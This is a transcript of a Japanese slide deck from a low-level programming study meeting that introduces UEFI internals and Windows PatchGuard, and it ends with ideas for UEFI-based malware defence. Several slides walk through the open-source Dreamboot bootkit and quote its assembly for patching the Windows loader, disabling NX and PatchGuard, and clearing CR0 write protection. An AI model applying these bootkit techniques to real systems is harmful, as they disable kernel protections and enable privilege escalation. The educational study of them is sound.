EFI Undercover

第3回 ローレイヤー勉強会 発表資料 http://atnd.org/events/40773 #ll3rd

Transcript

1. EFI Undercover @ntddk
2. UEFI www.uefi.org
3. 自己紹介 • Yuma Kurogome(@ntddk) #include <ntddk.h> • 慶應義塾大学 SFC B1, 武田研 • Synclogue Inc. • セプキャン2011, セキュキャン2013 • RCE, kernel hack
4. リバースエンジニアリング necomimi • ロジアナ – αLow/Hi: リラックス – βLow/Hi: 活性化 – γLow/Mid: ピキーン – δ: 深いリラックス – θ: 睡眠 • 脳波の異常検知？ – fluent-plugin-serialport: ログ整形 – Jubatus: 機械学習
5. 今回話すこと • UEFI • PatchGuard
6. ＊ 初心者向け ＊ 日本語の書籍が無い...
7. UEFI?
8. UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • IA64にBIOSなんか乗せてられない – 16ビットプロセッサモード、1MBのアドレス空間、 PC/ATハードウェアへの依存
9. UEFIとは • BIOSに代わるブートシステム • IntelとHPが1990年台にIA64アーキテクチャを 設計 • BIOSが許されるのは小学生までだよね – 16ビットプロセッサモード、1MBのアドレス空間、 PC/ATハードウェアへの依存 → CPU非依存なアーキテクチャ、ドライバ
10. UEFIとは • Intel → Unified EFI Forum EFI → UEFI, 2.x系がリリース • 2009年頃から普及 – 2TBの壁を克服 – モジュラー型 – 高速起動
11. 2TBの壁 • MBRのパーティションテーブルでは、開始セク タ値とセクタ数が 32bit(4G sectors) • 4G sectors * 512byte = 2TB • パーティションテーブルかセクタサイズを変え るしかない → 互換性？ • GPTを前提としているUEFIに移行！ • 32bit LBA → 64bit LBA
12. MBRとGPTの比較 • パーティション: 4個 → 128個 • セクタアドレス長: 32bit → 64bit • パーティションタイプ: 1byte → 16byte GUID • ブートフラグ: 1byte→ 属性フラグ 8bytes • パーティション名: 72bytes UTF-16 • バックアップのパーティションテーブル領域
13. GPT
14. GPT パーティションエントリ オフセット サイズ 内容 0 16byte パーティションタイプGUID 16 16byte パーティーションユニークGUID 32 8byte 開始LBAアドレス 40 8byte 終了LBAアドレス 48 8byte 属性フラグ 56 72byte パーティション名 EFIシステムパーティションなら {C12A7328-F81F-11D2-BA4B-00A0C93EC93B}
15. UEFIの見た目
16. UEFIの見た目 • グラフィカルに実装できる • もちろんBIOSそっくりの画面のものもある • Boot ManagerというGRUBのブートメニュー のようなものがある • UEFI Shellというコマンドプロンプトのような シェルがある
17. メインメニュー
18. Boot Managar ブート画面の選択画面 OSは自分のブートローダをここに登録する
19. Boot Maintenance Manager メニューの編集、ロードするドライバの指定、任 意のファイル実行など
20. UEFI Shell ださいシェル 任意のOS起動などに使用
21. GRUB 2 FOR UEFI
22. UEFIからのブート BootManagerの設定値がデフォルトの場合 • UEFIがHDDを検出、GPTをロード • EFI System Partitionを検索 • \EFI\BOOT\bootx64.efi or \EFI\BOOT\bootx32.efi をロード
23. EFI SYSTEM PARTITION • パーティションタイプGUIDがEFI System Partitionな FATファイルシステム • GPTにブートセクタは無い • ここからUEFIアプリケーションをロードするこ とで起動
24. UEFI Application • PEフォーマットのバイナリとドライバ • 32bit/64bit, Long modeも • 拡張子: .EFI • UEFI APIを利用して各種処理を実装
25. UEFI APPLICATIONの種類 • 2種類のUEFI Application – 通常のUEFI Application: 終了時にExit()をコール し、 UEFI Shellなどに制御を戻す – OS Loader: 終了時にExitBootServices()をコール し、 UEFIが利用していた資源を開放して制御をOS へ移す
26. RUNTIME SERVICE • ExitBootServices()後もUEFIがOSに対して提供 するサービス • 最低限の機能のみ • Time (GetTime, SetTime...) • Virtual Memory (SetirtualAddressMap...) • Variable Services (GetVariable...) • Miscellaneous Services(ResetSystem...)
27. BOOT SERVICE • ExitBootServices()までUEFI Applicationに提供 するサービス – Task Priority Services (RaiseTPL...) – Memory Services (AllocatePages...) – Event & Timer Services (CreateEvent, SetTimer...) – Protocol Handler Services (HandleProtocol...) – Image Services (LoadImage, StartImage...) – Miscellaneous Services (Stall, CopyMem...) – Open and Close Protocol Services (OpenProtocol...) – Library Services (LocateProtocol...) – 32bit CRC Services (CalculateCrc32...)
28. Hello, World! #include <UEFI_HelloWorld.h> EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) { Print (L"Hello, World!"); return EFI_SUCCESS; }
29. Hello, World! EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) 引数は2個(ImageHandle, SystemTable) • ImageHandleはロードされたUEFI Applicationの イメージファイルに対するハンドル • SystemTableを経由して全てのUEFI APIへアクセ ス
30. EFI System Table typedef struct { EFI_TABLE_HEADER Hdr; CHAR16 *FirmwareVendor; UINT32 FirmwareRevision; EFI_HANDLE ConsoleInHandle;　// 例えばこれはコンソール出力、ポインタが用意されてる EFI_SIMPLE_TEXT_INPUT_PROTOCOL *ConIn; EFI_HANDLE ConsoleOutHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *ConOut; EFI_HANDLE StandardErrorHandle; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *StdErr; EFI_RUNTIME_SERVICES *RuntimeServices; EFI_BOOT_SERVICES *BootServices; UINTN NumberOfTableEntries; EFI_CONFIGURATION_TABLE *ConfigurationTable; } EFI_SYSTEM_TABLE; UEFI Applicationに対して公開するインタフェー スが全て詰め込まれた構造体
31. PROCOTOLS • ネットワークプロトコルスタックのことではな く･･････ • UEFI上で提供される様々なサービス • UEFI Driverを実装しUEFIへロードすることで 自作のProtocolを提供する事も可能
32. Protocols • IP4/6, UDP/TCP 4/6, ARP, DHCP4/6, MTFP4/6, FTP, PXE, iSCSI • VLAN, EAP, IPsec (IKEv2) • PCI, USB, SCSI, AHCI, removable media • GPT, vFAT • Console, Graphical Mode, Human Interface • User Identi cation fi • ACPI, SMRAM • Debugger • Compression • EFI Byte Code Virtual Machine • Firmware management
33. locate Windows bootloader BS->LocateHandleBuffer(ByProtocol,&FileSystemProtocol,NULL,&nbHdles,&hdleArr); for(i=0;i<nbHdles;i++) { err = BS->HandleProtocol(hdleArr[i],&FileSystemProtocol,(void **)&ioDevice); if(err != EFI_SUCCESS) continue; err=ioDevice->OpenVolume(ioDevice,&handleRoots); if(err != EFI_SUCCESS) continue; err = handleRoots->Open(handleRoots,&bootFile,WINDOWS_BOOTX64_IMAGEPATH, EFI_FILE_MODE_READ,EFI_FILE_READ_ONLY); if(err == EFI_SUCCESS) { handleRoots->Close(bootFile); *LoaderDevicePath = FileDevicePath(handleArray[i],WIN_BOOTX64_IMAGEPATH); break; } }
34. UEFIのSDK • EDK II – デファクトスタンダードだが･･････ – trunkだと良くハマる • UDK2010 – IntelによるEDK IIのstable – 機能はEDK IIに劣る • gnu-efi – UEFI ApplicationのみのためのLightweight実装 –
35. UEFIのSDK • EFI Toolkit – TianoCoreが開発するOSS – gnu-efiのもと – EFI Shell開発にはEDKのほうが強いが、スタンドア ローンならこちらに分がある
36. VMでのUEFI開発 • Virtual Box – ネイティブに実行可能 – Windowsのブートはできなかった • VMWare – vmxを編集 • firmware = "efi" – gdbスタブ • debugStub.listen.guest64 = "TRUE" • debugStub.listen.guest64.remote = "TRUE" • debugStub.hideBreakpoints = "TRUE" • monitor.debugOnStartGuest64 = "TRUE"
37. 時代はUEFI • リアルモードのアセンブリを書かなくていい • サイズに悩まなくていい • 気軽にCで書ける • VMで検証できる • Intel SDMを読め → UEFI Specificationを読め – Intelに限定されない
38. UEFIの問題点 • Lenovo製コンピュータに載ったUEFIの実装 – 本来ファームウェアがパースすべきでない文字列を パース – デフォルトで使われているブートエントリの表示名 と一致しなければブートを拒否
39. PatchGuard?
40. PatchGuardとは • 64bit版Windowsに実装されたカーネル保護機構 • Kernel Patch Protection(KPP)とも • カーネル領域の変更を監視 – SDT: 全システムコールのテーブル – IDT: 割り込み – GDT: セグメントディスクリプタを置く領域 – カーネルからアロケートされていないカーネルス タック • 多くのrootkitは時代遅れに
41. 時代遅れのrootkit 悪魔のツール“ルートキット”最前線 http://nkbp.jp/12xqHtA
42. PatchGuard • Bypassing PatchGuardで検索 • How to boost PatchGuard : it's all about gong fu! www.zer0mem.sk/?p=271 • RebootすることなくPatchGuardを突破する
43. UEFI ApplicationによるPatchGuardのbypass手法
44. Dreamboot: A UEFI Bootkit • Sebastien kaczmarek, Quarkslab. • HITB2013 Amsterdamにて発表された • オープンソース！！！ • https://github.com/quarkslab/dreamboot
45. Dreamboot: A UEFI Bootkit • ブートローダ – bootmgfw.efiのフック – winload.efiのフック • カーネル – PatchGuardの無効化 – Dreambootのコードをリロケート – PsSetLoadImageNotifyRoutine()
46. Dreamboot: A UEFI Bootkit
47. Dreamboot: A UEFI Bootkit • UEFI Bootkitを理解するために読むべきソース – QuarksMain.c – hooks.asm • 他は描画処理とPEロード
48. QuarksMain.c • ハードウェアからブートローダを検索 – EFI_FILE_IO_INTERFACEを利用 • PEのロード BS->LoadImage(TRUE,ParentHdle,WinLdrDp,NULL,0,&hImg); • PEメモリレイアウトの取得 BS->HandleProtocol(hImg,&LoadedImageProtocol, (void **)&img_inf); • PEにパッチ *((byte *)(img_inf->ImageBase) + offset = NOP; • ブート BS->StartImage(hImg,(UINTN *)NULL,(CHAR16 **)NULL);
49. hooks.asm • OslArchTransferToKernel()をフック – winload.exe → ntoskrnl.exeの際に呼び出さ れる – kiSystemStartup()を呼び出すように書き換 え
50. hooks.asm • NX flagの書き換え lea rcx, NTOSKRNL_PATTERN_NXFlag sub rbx,NTOSKRNL_PATTERN_NXFlag_size push rdx mov rax,rdx mov rdx,NTOSKRNL_PATTERN_NXFlag_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov byte ptr[rax],0EBh mov NTOSKRNL_NxPatchAddr,rax
51. hooks.asm • PatchGuardの書き換え mov rax,[rsp] lea rcx,NTOSKRNL_PATTERN_PATCHGUARD mov rdx,NTOSKRNL_PATTERN_PATCHGUARD_size call kernel_find_pattern cmp rax,0 je winload_OslArchTransferToKernel_hook_exit mov dword ptr[rax+2],090D23148h mov word ptr[rax+6],09090h mov byte ptr[rax+8],090h
52. hooks.asm • PEのパース • NtSetInformationThreadのフック – 通常smss.exeの作成時あるいはシステムプロセスの 作成中に呼ばれるが、無効に • NX bit無効化後にntoskrnlにペイロードを挿入 • PEが実行される前にパッチできる • Bypassing local authentication + Priviledge escalation
53. hooks.asm • WP flagの書き換え • rootkitでいつも書くアレ CR0_WP_CLEAR_MASK equ 0fffeffffh CR0_WP_SET_MASK equ 010000h cli mov rcx,cr0 and rcx, CR0_WP_CLEAR_MASK ; Unprotect kernel memory mov cr0,rcx mov rcx,cr0 or rcx, CR0_WP_SET_MASK ; Restore memory protection mov cr0,rcx sti
54. まとめ • UEFIで気軽にローレイヤー • PatchGuardが許されるのは(ry
55. やりたいこと • 悪名高いUEFI Secure Bootの補助 • OSが読み込む前に安全なチップからファイル やメモリをスキャン • rootkit/bootkit対策 • 起動のブロック
56. やりたいこと ･･････というのを既にKasperskyがやってた “Kaspersky Anti-Virus for UEFI”
57. やりたいこと • 見てろよKaspersky • UEFI basedなマルウェア対策？ • JIANG Zhengwei,WANG Xiaozhen,LIU Baoxu2. UEFI malicious behavior detection model based on minimal attack tree. Computer Engineering and Applications,2012,48(32):14-17 とか、そのあたり
58. !!! 新規性 !!! Thanks @syuu1228 :)